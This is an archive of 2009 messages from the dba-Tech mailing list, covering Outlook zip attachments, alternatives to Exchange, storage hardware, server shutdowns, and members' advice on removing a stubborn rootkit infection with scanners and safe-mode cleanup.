Subject: [dba-Tech] Attaching Zip Files in Outlook
In-Reply-To: <49DFBD23.11126.E779BEC@stuart.lexacorp.com.pg>
References: <7739872B2EDA47AEABB90A0800A9E2DF@HAL9005>,
	<582A628462E34FD9BDF25460B17C49E5@creativesystemdesigns.com>,
	<72A181DFDBE04520ACF204BBD11C5782@HAL9005>
	<49DFBD23.11126.E779BEC@stuart.lexacorp.com.pg>
Message-ID: <4A54022778C146408BCE5F58435ED5C3@HAL9005>

Well, I have a WinZip license so I disabled those dlls and walla! The zip
files show up.  

Rocky
 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Friday, April 10, 2009 2:42 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Attaching Zip Files in Outlook

WIndows will not treat zip files as folders so you will lose the
capabilities discussed on this 
list in the thread "Hardware, Software and WetWare" on 16/17 Feb this year.
You will need 
a third party application such as WinZip, 7Zip, WinRAR etc to do anything
with zip files. 

You also won't be able to use ShellApllication to manipulate Zip files
programmatically in VBA (see my posting in dba-Access of 17 Feb  for an
example)

Stuart

On 10 Apr 2009 at 11:55, Rocky Smolin wrote:

> I saw that.  But I was a little shaky on disabling the compressed 
> folder feature.  What do I lose?
> 
> Rocky
>  
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim 
> Lawrence
> Sent: Friday, April 10, 2009 10:51 AM
> To: 'Discussion of Hardware and Software issues'
> Subject: Re: [dba-Tech] Attaching Zip Files in Outlook
> 
> Hi Rocky:
> 
> Check this out: http://www.slipstick.com/problems/zip.htm
> 
> HTH
> Jim
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Rocky 
> Smolin
> Sent: Friday, April 10, 2009 10:42 AM
> To: List
> Subject: [dba-Tech] Attaching Zip Files in Outlook
> 
> Dear List:
> 
> When I create an email and click Attach, I can browse the folders and 
> all the files show up in the dialog box except those with a .ZIP
extension.
> Very annoying and inconvenient.  It used to show the ZIPs.  Don't know 
> what went wrong (nor care).  Just want to fix it.  Does anyone know 
> why this would happen?
> 
>  
> 
> TIA
> 
>  
> 
> Rocky
> 
>  
> 
> 
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com
> 
> _______________________________________________
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> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
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From stuart at lexacorp.com.pg  Fri Apr 10 18:42:33 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Sat, 11 Apr 2009 09:42:33 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <49DD23F9.31061.451519F@stuart.lexacorp.com.pg>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>,
	<49DD23F9.31061.451519F@stuart.lexacorp.com.pg>
Message-ID: <49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>

It just keeps happening:
http://www.theregister.co.uk/2009/04/10/vandals_cut_att_fiber_silicon_valley/

On 9 Apr 2009 at 8:23, Stuart McLachlan wrote:

> And an even bigger one a few days later:
> http://www.theregister.co.uk/2009/04/08/nothern_territory_telstra/
> 
> BTW, they still haven't completely fixed the London one.
> http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/
>  
> 
> On 8 Apr 2009 at 6:54, Stuart McLachlan wrote:
> 
> > Until this happens:
> > 
> > http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/
> > 
> > > 
> > > I have always had my doubts about systems so tied to the internet but
> > > according to their stats the risk of local equipment failing plus the extra
> > > costs of support make this method actually safer and more reliable.
> > 
> > _______________________________________________
> > dba-Tech mailing list
> > dba-Tech at databaseadvisors.com
> > http://databaseadvisors.com/mailman/listinfo/dba-tech
> > Website: http://www.databaseadvisors.com
> 
> 
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com




From jon at tydda.plus.com  Fri Apr 10 18:49:55 2009
From: jon at tydda.plus.com (Jon Tydda)
Date: Sat, 11 Apr 2009 00:49:55 +0100
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>,
	<49DD23F9.31061.451519F@stuart.lexacorp.com.pg>
	<49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
Message-ID: <F23F8454118141DD9A4D173FB89823F6@jt2c>

And each time, you're the one to tell us... Is there something we should
know, Stuart? :-)


Jon 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: 11 April 2009 00:43
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] looking for an alternative to Exchange

It just keeps happening:
http://www.theregister.co.uk/2009/04/10/vandals_cut_att_fiber_silicon_valley
/

On 9 Apr 2009 at 8:23, Stuart McLachlan wrote:

> And an even bigger one a few days later:
> http://www.theregister.co.uk/2009/04/08/nothern_territory_telstra/
> 
> BTW, they still haven't completely fixed the London one.
> http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/
>  
> 
> On 8 Apr 2009 at 6:54, Stuart McLachlan wrote:
> 
> > Until this happens:
> > 
> > http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/
> > 
> > > 
> > > I have always had my doubts about systems so tied to the internet 
> > > but according to their stats the risk of local equipment failing 
> > > plus the extra costs of support make this method actually safer and
more reliable.
> > 
> > _______________________________________________
> > dba-Tech mailing list
> > dba-Tech at databaseadvisors.com
> > http://databaseadvisors.com/mailman/listinfo/dba-tech
> > Website: http://www.databaseadvisors.com
> 
> 
> _______________________________________________
> dba-Tech mailing list
> dba-Tech at databaseadvisors.com
> http://databaseadvisors.com/mailman/listinfo/dba-tech
> Website: http://www.databaseadvisors.com


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From john at winhaven.net  Fri Apr 10 18:55:20 2009
From: john at winhaven.net (John Bartow)
Date: Fri, 10 Apr 2009 18:55:20 -0500
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>,
	<49DD23F9.31061.451519F@stuart.lexacorp.com.pg>
	<49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
Message-ID: <030101c9ba37$ceb13f60$6c13be20$@net>

Thanks for all the posts concerning this. I am glad to get the cases to
present for the "non-cloud" idea. Given the cost of the alternatives I see
no need for cloud solutions which are totally dependent on numerous, weak,
fail points. At least not for my clients, at this time.

Also to others that posted open source and no cost alternatives. I'm keeping
those in sight for future projects. I am reconsidering Exchange as one of
the alternatives. My network engineer tells me that for under 50 users it's
not as bad as it used to be (I'm not quite sure how reassuring that is ;o)
and essentially I'll be getting it for free.

John B.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
Sent: Friday, April 10, 2009 6:43 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] looking for an alternative to Exchange

It just keeps happening:
http://www.theregister.co.uk/2009/04/10/vandals_cut_att_fiber_silicon_valley
/

On 9 Apr 2009 at 8:23, Stuart McLachlan wrote:

> And an even bigger one a few days later:
> http://www.theregister.co.uk/2009/04/08/nothern_territory_telstra/
> 
> BTW, they still haven't completely fixed the London one.
> http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/
>  
> 
> On 8 Apr 2009 at 6:54, Stuart McLachlan wrote:
> 
> > Until this happens:
> > 
> > http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/
> > 
> > > 
> > > I have always had my doubts about systems so tied to the internet but
> > > according to their stats the risk of local equipment failing plus the
extra
> > > costs of support make this method actually safer and more reliable.
> > 
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> > dba-Tech at databaseadvisors.com
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From stuart at lexacorp.com.pg  Fri Apr 10 19:07:40 2009
From: stuart at lexacorp.com.pg (Stuart McLachlan)
Date: Sat, 11 Apr 2009 10:07:40 +1000
Subject: [dba-Tech] looking for an alternative to Exchange
In-Reply-To: <F23F8454118141DD9A4D173FB89823F6@jt2c>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>,
	<49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>,
	<F23F8454118141DD9A4D173FB89823F6@jt2c>
Message-ID: <49DFDF4C.28406.EFD0C4E@stuart.lexacorp.com.pg>

Only that I read the Register every morning ;-)


On 11 Apr 2009 at 0:49, Jon Tydda wrote:

> And each time, you're the one to tell us... Is there something we should
> know, Stuart? :-)
> 
> 
> Jon 
> 
> -----Original Message-----
> From: dba-tech-bounces at databaseadvisors.com
> [mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Stuart McLachlan
> Sent: 11 April 2009 00:43
> To: Discussion of Hardware and Software issues
> Subject: Re: [dba-Tech] looking for an alternative to Exchange
> 
> It just keeps happening:
> http://www.theregister.co.uk/2009/04/10/vandals_cut_att_fiber_silicon_valley
> /
> 
> On 9 Apr 2009 at 8:23, Stuart McLachlan wrote:
> 
> > And an even bigger one a few days later:
> > http://www.theregister.co.uk/2009/04/08/nothern_territory_telstra/
> > 
> > BTW, they still haven't completely fixed the London one.
> > http://www.theregister.co.uk/2009/04/08/bt_hole_hits_vodafone/
> >  
> > 
> > On 8 Apr 2009 at 6:54, Stuart McLachlan wrote:
> > 
> > > Until this happens:
> > > 
> > > http://www.theregister.co.uk/2009/04/06/bt_exchange_problems/
> > > 
> > > > 
> > > > I have always had my doubts about systems so tied to the internet 
> > > > but according to their stats the risk of local equipment failing 
> > > > plus the extra costs of support make this method actually safer and
> more reliable.
> > > 
> > > _______________________________________________
> > > dba-Tech mailing list
> > > dba-Tech at databaseadvisors.com
> > > http://databaseadvisors.com/mailman/listinfo/dba-tech
> > > Website: http://www.databaseadvisors.com
> > 
> > 
> > _______________________________________________
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> > dba-Tech at databaseadvisors.com
> > http://databaseadvisors.com/mailman/listinfo/dba-tech
> > Website: http://www.databaseadvisors.com
> 
> 
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From accessd at shaw.ca  Fri Apr 10 20:21:46 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Fri, 10 Apr 2009 18:21:46 -0700
Subject: [dba-Tech] Interesting
In-Reply-To: <49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
References: <Acm3oZSQwZRkThgTTbKeKfMxI8aW2g==@prod.shaw.ca>
	<49DBBD6F.8057.18D419AA@stuart.lexacorp.com.pg>
	<49DD23F9.31061.451519F@stuart.lexacorp.com.pg>
	<49DFD969.21925.EE60D18@stuart.lexacorp.com.pg>
Message-ID: <211F1E11B6064EB0B3A1E26D327A376E@creativesystemdesigns.com>

Hi All:

If you were ever interested in sort algorithms this will definitely
entertain and educate.

For example, depending on the sort sample size and the type of grouping of
the original data a Bubble sort many out perform a Quick sort.

http://www.sorting-algorithms.com

Jim



From Gustav at cactus.dk  Sat Apr 11 05:52:12 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Sat, 11 Apr 2009 12:52:12 +0200
Subject: [dba-Tech] Interesting
Message-ID: <s9e0929c.090@cactus.dk>

Hi Jim

Thanks! Great fun and a good source.

/gustav

>>> accessd at shaw.ca 11-04-2009 03:21 >>>
Hi All:

If you were ever interested in sort algorithms this will definitely
entertain and educate.

For example, depending on the sort sample size and the type of grouping of
the original data a Bubble sort many out perform a Quick sort.

http://www.sorting-algorithms.com 

Jim




From Gustav at cactus.dk  Sat Apr 11 06:03:34 2009
From: Gustav at cactus.dk (Gustav Brock)
Date: Sat, 11 Apr 2009 13:03:34 +0200
Subject: [dba-Tech] looking for an alternative to Exchange
Message-ID: <s9e09532.091@cactus.dk>

Hi John

I would say that the main consideration is if your users demand the calendar and appointment stuff. If not, Exchange may be overkill.

Also, indeed for 50 users, don't forget the message store limit of about 70 GB and the single domain only for the Small Business version. 70 GB may seem amble but if user attach MB presentations, pictures, or movies it is not. If more storage or multiple domains are needed, you will have to obtain the enterprise license.
Finally, don't forget backup. It is not that simple for Exchange and most suppliers of server backup software charge big money for Exchange "clients", indeed if you need smart features like single mailbox restore. Your network engineer knows all this but have it all lined up.

/gustav

>>> john at winhaven.net 11-04-2009 01:55 >>>
Thanks for all the posts concerning this. I am glad to get the cases to
present for the "non-cloud" idea. Given the cost of the alternatives I see
no need for cloud solutions which are totally dependent on numerous, weak,
fail points. At least not for my clients, at this time.

Also to others that posted open source and no cost alternatives. I'm keeping
those in sight for future projects. I am reconsidering Exchange as one of
the alternatives. My network engineer tells me that for under 50 users it's
not as bad as it used to be (I'm not quite sure how reassuring that is ;o)
and essentially I'll be getting it for free.

John B.




From fuller.artful at gmail.com  Mon Apr 13 12:11:23 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Mon, 13 Apr 2009 13:11:23 -0400
Subject: [dba-Tech] Better than RAID: The New Dobro Pro
Message-ID: <29f585dd0904131011m5aab0e21mf062b08fb0bbc285@mail.gmail.com>

Interesting article here: http://blogs.zdnet.com/storage/?p=454&tag=nl.e040

Arthur


From accessd at shaw.ca  Mon Apr 13 15:07:32 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 13 Apr 2009 13:07:32 -0700
Subject: [dba-Tech] Better than RAID: The New Dobro Pro
In-Reply-To: <29f585dd0904131011m5aab0e21mf062b08fb0bbc285@mail.gmail.com>
References: <29f585dd0904131011m5aab0e21mf062b08fb0bbc285@mail.gmail.com>
Message-ID: <5FDCFDAE20E44017AFF9BDE8994EF9ED@creativesystemdesigns.com>

Hi Arthur:

Those systems may sound interesting but at the cost of a server based
machine the solution is not a cheap one. The weak link is always the hard
drives and that can not be improved. With so many low cost solutions
(Linux/windows OS NAS) or inexpensive ones (bigger business speaking) like
big rack mounts and totally hot-swappable hard drives and plug in
motherboards, this solution does not seem that good. 

Tera-Byte drives sell at around $100 to $200. We built a full auto-backup
system, for a non-profit society, from a few junker computers at around
$500.00. (We donated our time though)

Jim 

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Monday, April 13, 2009 10:11 AM
To: Discussion of Hardware and Software issues
Subject: [dba-Tech] Better than RAID: The New Dobro Pro

Interesting article here: http://blogs.zdnet.com/storage/?p=454&tag=nl.e040

Arthur
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From fuller.artful at gmail.com  Mon Apr 13 15:39:18 2009
From: fuller.artful at gmail.com (Arthur Fuller)
Date: Mon, 13 Apr 2009 16:39:18 -0400
Subject: [dba-Tech] Better than RAID: The New Dobro Pro
In-Reply-To: <5FDCFDAE20E44017AFF9BDE8994EF9ED@creativesystemdesigns.com>
References: <29f585dd0904131011m5aab0e21mf062b08fb0bbc285@mail.gmail.com>
	<5FDCFDAE20E44017AFF9BDE8994EF9ED@creativesystemdesigns.com>
Message-ID: <29f585dd0904131339u1f515045ka5d0c368a1b203ba@mail.gmail.com>

Interesting alternate take. I suggest that you respond directly to the
author and see how he responds. Ignition!

Arthur

On Mon, Apr 13, 2009 at 4:07 PM, Jim Lawrence <accessd at shaw.ca> wrote:

> Hi Arthur:
>
> Those systems may sound interesting but at the cost of a server based
> machine the solution is not a cheap one. The weak link is always the hard
> drives and that can not be improved. With so many low cost solutions
> (Linux/windows OS NAS) or inexpensive ones (bigger business speaking) like
> big rack mounts and totally hot-swappable hard drives and plug in
> motherboards, this solution does not seem that good.
>
> Tera-Byte drives sell at around $100 to $200. We built a full auto-backup
> system, for a non-profit society, from a few junker computers at around
> $500.00. (We donated our time though)
>
> Jim
>
>


From accessd at shaw.ca  Mon Apr 13 16:44:42 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 13 Apr 2009 14:44:42 -0700
Subject: [dba-Tech] Better than RAID: The New Dobro Pro
In-Reply-To: <29f585dd0904131339u1f515045ka5d0c368a1b203ba@mail.gmail.com>
References: <29f585dd0904131011m5aab0e21mf062b08fb0bbc285@mail.gmail.com>
	<5FDCFDAE20E44017AFF9BDE8994EF9ED@creativesystemdesigns.com>
	<29f585dd0904131339u1f515045ka5d0c368a1b203ba@mail.gmail.com>
Message-ID: <E664DC2B4F5841A3BB72AC11FE4867A9@creativesystemdesigns.com>

Nothing like flooding the place in gasoline and throwing in a hand grenade
to set it all off. <evil grin>

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Arthur Fuller
Sent: Monday, April 13, 2009 1:39 PM
To: Discussion of Hardware and Software issues
Subject: Re: [dba-Tech] Better than RAID: The New Dobro Pro

Interesting alternate take. I suggest that you respond directly to the
author and see how he responds. Ignition!

Arthur

On Mon, Apr 13, 2009 at 4:07 PM, Jim Lawrence <accessd at shaw.ca> wrote:

> Hi Arthur:
>
> Those systems may sound interesting but at the cost of a server based
> machine the solution is not a cheap one. The weak link is always the hard
> drives and that can not be improved. With so many low cost solutions
> (Linux/windows OS NAS) or inexpensive ones (bigger business speaking) like
> big rack mounts and totally hot-swappable hard drives and plug in
> motherboards, this solution does not seem that good.
>
> Tera-Byte drives sell at around $100 to $200. We built a full auto-backup
> system, for a non-profit society, from a few junker computers at around
> $500.00. (We donated our time though)
>
> Jim
>
>
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From accessd at shaw.ca  Mon Apr 13 16:56:26 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Mon, 13 Apr 2009 14:56:26 -0700
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <023b01c9b94d$8e96fd10$abc4f730$@net>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
	<002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
	<023b01c9b94d$8e96fd10$abc4f730$@net>
Message-ID: <9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>

Hi John:

I have run into an almost upstoppable virus/trojan. 

The system I have runs corporate Symatecs, has run malbytes, runs Vipre and
Spybot and still things are not acting normally. All the packages are
up-to-date, all have been run and no infection of any kind shows.

The only reason I know there are issues going on is that a command window
keep popping up and disappearing and none of the browsers are working
right... they keep bouncing to odd sites at random... today's site of choice
is Sybase though that site has never been accessed from that system.

Any ideas?

Jim



From jon at tydda.plus.com  Mon Apr 13 17:17:07 2009
From: jon at tydda.plus.com (Jon Tydda)
Date: Mon, 13 Apr 2009 23:17:07 +0100
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005><JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de><002201c9b8c7$2fd8a660$8f89f320$@net><4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com><708A902B56F249B7AC37754D4EE37287@s1800><023b01c9b94d$8e96fd10$abc4f730$@net>
	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
Message-ID: <F72D7F5EA8694582873BD2D697B30549@jt2c>

Jim

Have you tried the Vipre command line scanner? I reckon it'll scan things
that it might not be able to when Windows was running... I think John posted
the link on here a week or so ago.


Jon

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: 13 April 2009 22:56
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Hi John:

I have run into an almost upstoppable virus/trojan. 

The system I have runs corporate Symatecs, has run malbytes, runs Vipre and
Spybot and still things are not acting normally. All the packages are
up-to-date, all have been run and no infection of any kind shows.

The only reason I know there are issues going on is that a command window
keep popping up and disappearing and none of the browsers are working
right... they keep bouncing to odd sites at random... today's site of choice
is Sybase though that site has never been accessed from that system.

Any ideas?

Jim

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From john at winhaven.net  Mon Apr 13 22:16:19 2009
From: john at winhaven.net (John Bartow)
Date: Mon, 13 Apr 2009 22:16:19 -0500
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>	<002201c9b8c7$2fd8a660$8f89f320$@net>	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>	<708A902B56F249B7AC37754D4EE37287@s1800>	<023b01c9b94d$8e96fd10$abc4f730$@net>
	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
Message-ID: <016401c9bcaf$6181b940$24852bc0$@net>

Hi Jim,
Have you run a separate rootkit detector? GMER and Rootkit Revealer come to
mind. AntiVir's (I'm testing the free edition) Rootkit detection seems to be
a really good too. Vipre's is good too but I tend to not depend on just one
thing. Of course, remove it from the network so it's not a worm driven
infection from somewhere else and then rootkit scan it. Boot into safe mode
and run Vipre. If Vipre finds something then it will automatically kick in a
boot time scan. Unfortunately there is no way to force a boot time scan
EXCEPT with PC Rescue (there's a small link for that on the bottom of the
Vipre web page). PC Rescue has four command line parameters including
enabling boot time scan. I also double check with Autoruns after all
scanning and cleaning is done in safe mode. 

Another thing you could do is remove the hard drive and connect it to
another machine (I use a USB-IDE connecter). Run scans with everything you
can on it. 

Apparently you can mount the registry from the infected machine and scan it.
We were discussing it the other day as something Sunbelt should add into
their PC rescue and Vipre products. IIRC it had something to do with opening
regedit and going to file | Load Hive. I've never done this so I have no
idea if it actually works.

One note about running Symantec (or other real time AVs) and Vipre on the
same computer, it can cause problems even if the real time and active
protection are disabled. I had heard of this from others but I had never run
into this until today when I was testing running a manual scan with AntiVir
and Vipre blocked something of AntiVir's even though active protection was
off. As soon as the file was executed it got tromped by Vipre. I've been
testing the two together for weeks so I'm not even sure yet what this was.

Also, if you are running Vipre then Sunbelt support is available for
unknowns. There is one fellow on the support list that has been infected
with something and SB support has been helping him through a really rough
one.

I just had "System Security 2009" a rogue anti-virus, show up on one of my
user's PC's last Thursday. Vipre stopped most of it and he turned the PC off
until I could get back to him. We turned the PC on Vipre updated and cleaned
the rest off. My guess is that the virtual machine figured out what it was
and stopped the infectious parts but left the icons and stuff laying around.
The newer updates cleaned up many of those harmless parts later. I tried to
load MalwareBytes on a few system lately where it won't load the setup file.
That's a shame, it usually cleaned quite well. I think they have to harden
their install process.

But you've probably got something much worse than that by the sounds of it.
If I see anything about that other fellow's nasty problem being resolved
I'll let you know. Best of luck!

John B.

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: Monday, April 13, 2009 4:56 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Hi John:

I have run into an almost upstoppable virus/trojan. 

The system I have runs corporate Symatecs, has run malbytes, runs Vipre and
Spybot and still things are not acting normally. All the packages are
up-to-date, all have been run and no infection of any kind shows.

The only reason I know there are issues going on is that a command window
keep popping up and disappearing and none of the browsers are working
right... they keep bouncing to odd sites at random... today's site of choice
is Sybase though that site has never been accessed from that system.

Any ideas?

Jim

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From jerbach at gmail.com  Tue Apr 14 12:17:38 2009
From: jerbach at gmail.com (Janet Erbach)
Date: Tue, 14 Apr 2009 12:17:38 -0500
Subject: [dba-Tech] Unexpected server shutdowns
Message-ID: <6ef6ac2c0904141017t5b77d602v1269ed2bf56b7b67@mail.gmail.com>

Hello -

I'm the IT department for a small internet based company in Wisconsin.  My
background is largely in Access database development, but the job of overall
IT administration has fallen on me because I'm the most computer proficient
of anyone here.  Please be patient with me if my ignorance of network and
hardware issues is glaringly obvious.

We bought an HP Proliant server in December to replace the pitiful Windows
XP workstation we had set up as a 'server'.  It's running SBS 2008...and
we've experienced at least a dozen unexpected shutdowns since it's been in
place.  At first we thought it was due to trying to run nightly backups with
insufficient ram - the initial setup had 4G, and we were running on 0 Mg
free.  But we installed an additional 8G of ram 2 weeks ago, and  had
another unexpected shutdown yesterday in the middle of the working day.

Does anyone have any insights for me about what could be behind this?  Our
network consultants have spent hours researching it and have not turned up
anything yet other than 'maybe it's a defective motherboard'.  Since they
have another client with the same machine who is experiencing the same
problem, they'll be replacing the motherboard on that one and letting us
know if it cures the problem.

In the meantime, any suggestions will be appreciated!

Janet Erbach
IT Administrator
www.naturalhealthyconcepts.com



P.S.  We're using an APC unit for UPS...I mention it because I read an older
link today that linked some unexpected server shutdowns to APC Powerchute.


From accessd at shaw.ca  Tue Apr 14 14:08:04 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 14 Apr 2009 12:08:04 -0700
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <F72D7F5EA8694582873BD2D697B30549@jt2c>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
	<002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
	<023b01c9b94d$8e96fd10$abc4f730$@net>
	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
	<F72D7F5EA8694582873BD2D697B30549@jt2c>
Message-ID: <D4F45BF72740407AB07C0A12857BC6A9@creativesystemdesigns.com>

Thank you Jon... I will continue this. If this does not either identify and
resolve the problem it is time to re-format and re-install.

Jim

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jon Tydda
Sent: Monday, April 13, 2009 3:17 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Jim

Have you tried the Vipre command line scanner? I reckon it'll scan things
that it might not be able to when Windows was running... I think John posted
the link on here a week or so ago.


Jon

-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of Jim Lawrence
Sent: 13 April 2009 22:56
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Hi John:

I have run into an almost upstoppable virus/trojan. 

The system I have runs corporate Symatecs, has run malbytes, runs Vipre and
Spybot and still things are not acting normally. All the packages are
up-to-date, all have been run and no infection of any kind shows.

The only reason I know there are issues going on is that a command window
keep popping up and disappearing and none of the browsers are working
right... they keep bouncing to odd sites at random... today's site of choice
is Sybase though that site has never been accessed from that system.

Any ideas?

Jim

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From accessd at shaw.ca  Tue Apr 14 14:32:30 2009
From: accessd at shaw.ca (Jim Lawrence)
Date: Tue, 14 Apr 2009 12:32:30 -0700
Subject: [dba-Tech] Generic MBR Rootkit and Vipre
In-Reply-To: <016401c9bcaf$6181b940$24852bc0$@net>
References: <B1E8DCD4BCCB4EC7AADEB4C607164834@HAL9005>
	<JIECLJNJOMBJFEDLONCBGEOBFIAA.hkotsch@arcor.de>
	<002201c9b8c7$2fd8a660$8f89f320$@net>
	<4E674F625627498E88765F20ADF28DE5@creativesystemdesigns.com>
	<708A902B56F249B7AC37754D4EE37287@s1800>
	<023b01c9b94d$8e96fd10$abc4f730$@net>
	<9E076087A1CC4B0E8183CD77B206BC48@creativesystemdesigns.com>
	<016401c9bcaf$6181b940$24852bc0$@net>
Message-ID: <CC3664FA6A7C40C2A6CC565469DFAA15@creativesystemdesigns.com>

Thanks so much John. 

I will test using the GMER and Rootkit Revealer and see if this bring some
sort of resolution. The OS have been through so many virus and malware scans
that part of system's degradation in response time is due these products as
well.

I am making a list of all the apps that are current running on the computer
and then I think a good nuking will clean up things permanently.

I am really amazed at the infections ability to resist all attempts at
completely removing it. It has been effectively blocked from outside access
but some of the components are still running at intervals and assisting in
various system crashes. It wrecked all the browsers (IE, FireFox and Chrome)
as well. 

Now I am very curious at what 'IT' could be. I will keep you posted as well
if any more details emerge. 

Jim


-----Original Message-----
From: dba-tech-bounces at databaseadvisors.com
[mailto:dba-tech-bounces at databaseadvisors.com] On Behalf Of John Bartow
Sent: Monday, April 13, 2009 8:16 PM
To: 'Discussion of Hardware and Software issues'
Subject: Re: [dba-Tech] Generic MBR Rootkit and Vipre

Hi Jim,
Have you run a separate rootkit detector? GMER and Rootkit Revealer come to
mind. AntiVir's (I'm testing the free edition) Rootkit detection seems to be
a really good too. Vipre's is good too but I tend to not depend on just one
thing. Of course, remove it from the network so it's not a worm driven
infection from somewhere else and then rootkit scan it. Boot into safe mode
and run Vipre. If Vipre finds something then it will automatically kick in a
boot time scan. Unfortunately there is no way to force a boot time scan
EXCEPT with PC Rescue (there's a small link for that on the bottom of the
Vipre web page). PC Rescue has four command line parameters including
enabling boot time scan. I also double check with Autoruns after all
scanning and cleaning is done in safe mode. 

Another thing you could do is remove the hard drive and connect it to
another machine (I use a USB-IDE connecter). Run scans with everything you
can on it. 

Apparently you can mount the registry from the infected machine and scan it.
We were discussing it the other day as something Sunbelt should add into
